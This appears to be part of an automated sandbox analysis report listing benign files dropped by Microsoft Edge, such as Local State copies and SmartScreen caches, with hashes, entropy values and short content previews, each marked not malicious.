Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3ac5e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089799505648206
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWrdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRvkzItSmd6qE7lFoC
MD5:	1915CA5471EB8C25B221F58CC215414D
SHA1:	DE474B5DE1352F2A873995128C31704FD49B7281
SHA-256:	1DA59F3D6C10270BAB492B17D9871D69FEBC4104A32A3B5A94CE96F08E667C90
SHA-512:	11B7B1143111F1D480BEBAB8A11634834C52A4C103A7D7AE9EC3E66C971AB94603D0449844FD197CE53F504FCB2C24E59CB2064058551C630F1EFB80D335188C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF3d35e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089799505648206
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWrdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRvkzItSmd6qE7lFoC
MD5:	1915CA5471EB8C25B221F58CC215414D
SHA1:	DE474B5DE1352F2A873995128C31704FD49B7281
SHA-256:	1DA59F3D6C10270BAB492B17D9871D69FEBC4104A32A3B5A94CE96F08E667C90
SHA-512:	11B7B1143111F1D480BEBAB8A11634834C52A4C103A7D7AE9EC3E66C971AB94603D0449844FD197CE53F504FCB2C24E59CB2064058551C630F1EFB80D335188C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF43312.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089799505648206
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWrdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRvkzItSmd6qE7lFoC
MD5:	1915CA5471EB8C25B221F58CC215414D
SHA1:	DE474B5DE1352F2A873995128C31704FD49B7281
SHA-256:	1DA59F3D6C10270BAB492B17D9871D69FEBC4104A32A3B5A94CE96F08E667C90
SHA-512:	11B7B1143111F1D480BEBAB8A11634834C52A4C103A7D7AE9EC3E66C971AB94603D0449844FD197CE53F504FCB2C24E59CB2064058551C630F1EFB80D335188C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF4bd9f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089799505648206
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWrdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRvkzItSmd6qE7lFoC
MD5:	1915CA5471EB8C25B221F58CC215414D
SHA1:	DE474B5DE1352F2A873995128C31704FD49B7281
SHA-256:	1DA59F3D6C10270BAB492B17D9871D69FEBC4104A32A3B5A94CE96F08E667C90
SHA-512:	11B7B1143111F1D480BEBAB8A11634834C52A4C103A7D7AE9EC3E66C971AB94603D0449844FD197CE53F504FCB2C24E59CB2064058551C630F1EFB80D335188C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State~RF51871.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44455
Entropy (8bit):	6.089799505648206
Encrypted:	false
SSDEEP:	768:+DXzgWPsj/qlGJqIY8GB4kWrdi1zNtPMgkzZ7okEt9r1JDSgzMMd6qD47u3+CioC:+/Ps+wsI7ynRvkzItSmd6qE7lFoC
MD5:	1915CA5471EB8C25B221F58CC215414D
SHA1:	DE474B5DE1352F2A873995128C31704FD49B7281
SHA-256:	1DA59F3D6C10270BAB492B17D9871D69FEBC4104A32A3B5A94CE96F08E667C90
SHA-512:	11B7B1143111F1D480BEBAB8A11634834C52A4C103A7D7AE9EC3E66C971AB94603D0449844FD197CE53F504FCB2C24E59CB2064058551C630F1EFB80D335188C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","apps_count_check_time":"13340961226065099","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJO

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 6, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 6
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6773696719930975
Encrypted:	false
SSDEEP:	12:TLpUAFUxOUDaabZXiDiIF8izX4fhhdWeci2oesJaYi3islRud6zcQAJmdngzQdoO:TLiOUOq0afDdWec9sJhOs3fsuZ7J5fc
MD5:	6FFCCB198DC6B17E165460E6E246B03C
SHA1:	014A46B0E6E84089E1C20FA232F54CA737D5F023
SHA-256:	D1B2EC8C9906C3418837FFB8E116AA59C026DE2D67B2AFDA956F14D0DC3851AF
SHA-512:	846AE3D0A49A14BF82203A0FEDAD6E794F7E68C22A40EE0E014FEA99DFC676FAE4AFEB2C56F324E4361E83A35458C63E2ABAA7B28B6D23B20FA29EF47CBE87B3
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	47
Entropy (8bit):	4.3818353308528755
Encrypted:	false
SSDEEP:	3:2jRo6jhM6ceYcUtS2djIn:5I2uxUt5Mn
MD5:	48324111147DECC23AC222A361873FC5
SHA1:	0DF8B2267ABBDBD11C422D23338262E3131A4223
SHA-256:	D8D672F953E823063955BD9981532FC3453800C2E74C0CC3653D091088ABD3B3
SHA-512:	E3B5DB7BA5E4E3DE3741F53D91B6B61D6EB9ECC8F4C07B6AE1C2293517F331B716114BAB41D7935888A266F7EBDA6FABA90023EFFEC850A929986053853F1E02
Malicious:	false
Preview:	customSettings_F95BA787499AB4FA9EFFF472CE383A14

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\customSettings_F95BA787499AB4FA9EFFF472CE383A14

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	35
Entropy (8bit):	4.014438730983427
Encrypted:	false
SSDEEP:	3:YDMGA2ADH/AYKEqsYq:YQXT/bKE1F
MD5:	BB57A76019EADEDC27F04EB2FB1F1841
SHA1:	8B41A1B995D45B7A74A365B6B1F1F21F72F86760
SHA-256:	2BAE8302F9BD2D87AE26ACF692663DF1639B8E2068157451DA4773BD8BD30A2B
SHA-512:	A455D7F8E0BE9A27CFB7BE8FE0B0E722B35B4C8F206CAD99064473F15700023D5995CC2C4FAFDB8FBB50F0BAB3EC8B241E9A512C0766AAAE1A86C3472C589FFD
Malicious:	false
Preview:	{"forceServiceDetermination":false}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	81
Entropy (8bit):	4.3439888556902035
Encrypted:	false
SSDEEP:	3:kDnaV6bVsFUIMf1HDOWg3djTHXoSWDSQ97P:kDYaoUIe1HDM3oskP
MD5:	177F4D75F4FEE84EF08C507C3476C0D2
SHA1:	08E17AEB4D4066AC034207420F1F73DD8BE3FAA0
SHA-256:	21EE7A30C2409E0041CDA6C04EEE72688EB92FE995DC94487FF93AD32BD8F849
SHA-512:	94FC142B3CC4844BF2C0A72BCE57363C554356C799F6E581AA3012E48375F02ABD820076A8C2902A3C6BE6AC4D8FA8D4F010D4FF261327E878AF5E5EE31038FB
Malicious:	false
Preview:	edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\edgeSettings_2.0-48b11410dc937a1723bf4c5ad33ecdb286d8ec69544241bc373f753e64b396c1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	130439
Entropy (8bit):	3.80180718117079
Encrypted:	false
SSDEEP:	1536:RlIyFAMrwvaGbyLWzDr6PDofI8vsUnPRLz+PMh:weWGP7Eh
MD5:	EB75CEFFE37E6DF9C171EE8380439EDA
SHA1:	F00119BA869133D64E4F7F0181161BD47968FA23
SHA-256:	48B11410DC937A1723BF4C5AD33ECDB286D8EC69544241BC373F753E64B396C1
SHA-512:	044C5113D877CE2E3B42CF07670620937ED7BE2D8B3BF2BAB085C43EF4F64598A7AC56328DDBBE7F0F3CFB9EA49D38CA332BB4ECBFEDBE24AE53B14334A30C8E
Malicious:	false
Preview:	{.. "geoidMaps": {.. "au": "https://australia.smartscreen.microsoft.com/",.. "ch": "https://switzerland.smartscreen.microsoft.com/",.. "eu": "https://europe.smartscreen.microsoft.com/",.. "ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "in": "https://india.smartscreen.microsoft.com/",.. "test": "https://eu-9.smartscreen.microsoft.com/",.. "uk": "https://unitedkingdom.smartscreen.microsoft.com/",.. "us": "https://unitedstates.smartscreen.microsoft.com/",.. "gw_au": "https://australia.smartscreen.microsoft.com/",.. "gw_ch": "https://switzerland.smartscreen.microsoft.com/",.. "gw_eu": "https://europe.smartscreen.microsoft.com/",.. "gw_ffl4": "https://unitedstates1.ss.wd.microsoft.us/",.. "gw_ffl4mod": "https://unitedstates4.ss.wd.microsoft.us/",.. "gw_ffl5": "https://unitedstates2.ss.wd.microsoft.us/",.. "gw_in": "https

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.346439344671015
Encrypted:	false
SSDEEP:	3:kfKbUPVXXMVQX:kygV5
MD5:	6A3A60A3F78299444AACAA89710A64B6
SHA1:	2A052BF5CF54F980475085EEF459D94C3CE5EF55
SHA-256:	61597278D681774EFD8EB92F5836EB6362975A74CEF807CE548E50A7EC38E11F
SHA-512:	C5D0419869A43D712B29A5A11DC590690B5876D1D95C1F1380C2F773CA0CB07B173474EE16FE66A6AF633B04CC84E58924A62F00DCC171B2656D554864BF57A4
Malicious:	false
Preview:	synchronousLookupUris_638343870221005468

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\synchronousLookupUris_638343870221005468

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	57
Entropy (8bit):	4.556488479039065
Encrypted:	false
SSDEEP:	3:GSCIPPlzYxi21goD:bCWBYx99D
MD5:	3A05EAEA94307F8C57BAC69C3DF64E59
SHA1:	9B852B902B72B9D5F7B9158E306E1A2C5F6112C8
SHA-256:	A8EF112DF7DAD4B09AAA48C3E53272A2EEC139E86590FD80E2B7CBD23D14C09E
SHA-512:	6080AEF2339031FAFDCFB00D3179285E09B707A846FD2EA03921467DF5930B3F9C629D37400D625A8571B900BC46021047770BAC238F6BAC544B48FB3D522FB0
Malicious:	false
Preview:	9.......murmur3.............,M.h...Z...8.\..<&Li.H..[.?m

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	50
Entropy (8bit):	3.9904355005135823
Encrypted:	false
SSDEEP:	3:0xXF/XctY5GUf+:0RFeUf+
MD5:	E144AFBFB9EE10479AE2A9437D3FC9CA
SHA1:	5AAAC173107C688C06944D746394C21535B0514B
SHA-256:	EB28E8ED7C014F211BD81308853F407DF86AEBB5F80F8E4640C608CD772544C2
SHA-512:	837D15B3477C95D2D71391D677463A497D8D9FFBD7EB42E412DA262C9B5C82F22CE4338A0BEAA22C81A06ECA2DF7A9A98B7D61ECACE5F087912FD9BA7914AF3F
Malicious:	false
Preview:	topTraffic_170540185939602997400506234197983529371

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_170540185939602997400506234197983529371

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	575056
Entropy (8bit):	7.999649474060713
Encrypted:	true
SSDEEP:	12288:fXdhUG0PlM/EXEBQlbk19RrH76Im4u8C1jJodha:Ji80e9Rb7Tm4u8CnR
MD5:	BE5D1A12C1644421F877787F8E76642D
SHA1:	06C46A95B4BD5E145E015FA7E358A2D1AC52C809
SHA-256:	C1CE928FBEF4EF5A4207ABAFD9AB6382CC29D11DDECC215314B0522749EF6A5A
SHA-512:	FD5B100E2F192164B77F4140ADF6DE0322F34D7B6F0CF14AED91BACAB18BB8F195F161F7CF8FB10651122A598CE474AC4DC39EDF47B6A85C90C854C2A3170960
Malicious:	false
Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.002823253152498
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclXkxtR4YVn:YWLSGTt1o9LuLgfGBPAzkVj/T8lUHnVn
MD5:	608B6161675B5D018629C40C10F827D6
SHA1:	FEAE6EE6232894AF1ADD1BF3660EAD980E252FEC
SHA-256:	07E1DF4FF7A9AFFE53A97FC08E2AC64E84F035B62AAE8EA4241D587601C40AE8
SHA-512:	3D664B49B075817D9DFAA02B8637809115F82A6AA05435A6870254853E0858623369FE105D8A8E02D4E21968ECA4FF470972120C40BF90EA5336EF4B469B2186
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1732904255271407}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQp:YQ3Kq9X0dMgAEwjj
MD5:	F732DBED9289177D15E236D0F8F2DDD3
SHA1:	53F822AF51B014BC3D4B575865D9C3EF0E4DEBDE
SHA-256:	2741DF9EE9E9D9883397078F94480E9BC1D9C76996EEC5CFE4E77929337CBE93
SHA-512:	B64E5021F32E26C752FCBA15A139815894309B25644E74CECA46A9AA97070BCA3B77DED569A9BFD694193D035BA75B61A8D6262C8E6D5C4D76B452B38F5150A4
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":1}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\c5e5187c-33fc-4309-ab8c-4802cec96cdf.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	46429
Entropy (8bit):	6.086652985032234
Encrypted:	false
SSDEEP:	768:oMkbJrT8IeQc5dKXMfi1zNtmkNGN9wNL0LpEq8IQmxgpCio6JDSgzMMd6qD47u3g:oMk1rT8H1KPNGNwIQ9Fo6tSmd6qE7N
MD5:	36A0E5B351BA48A9E321EE9563B4D465
SHA1:	E5481DC11382EE59A27C2739833B19F8186B18EF
SHA-256:	C065227BDE00AED9B909C0E82F9B21E55025420CFFF091F34B3276F28155CB14
SHA-512:	6B5E2B8C8D6A04F583BC5ECC0676075B4808A26C12F10AE0EE4029F8F521B69FDA23EDE9F6F2BFBC385D0D21A3D290E18810B156F3D7798FBDD2127E765F737C
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","apps_count_check_time":"13377277051068525","browser":{"browser_build_version":"117.0.2045.55","browser_version_of_last_seen_whats_new":"117.0.2045.55","last_seen_whats_new_page_version":"117.0.2045.55"},"continuous_migration":{"local_guid":"05453840-3474-42c0-a7c5-53ebf0dfa18f"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"desktop_session_duration_tracker":{"last_session_end_timestamp":"1732803455"},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZC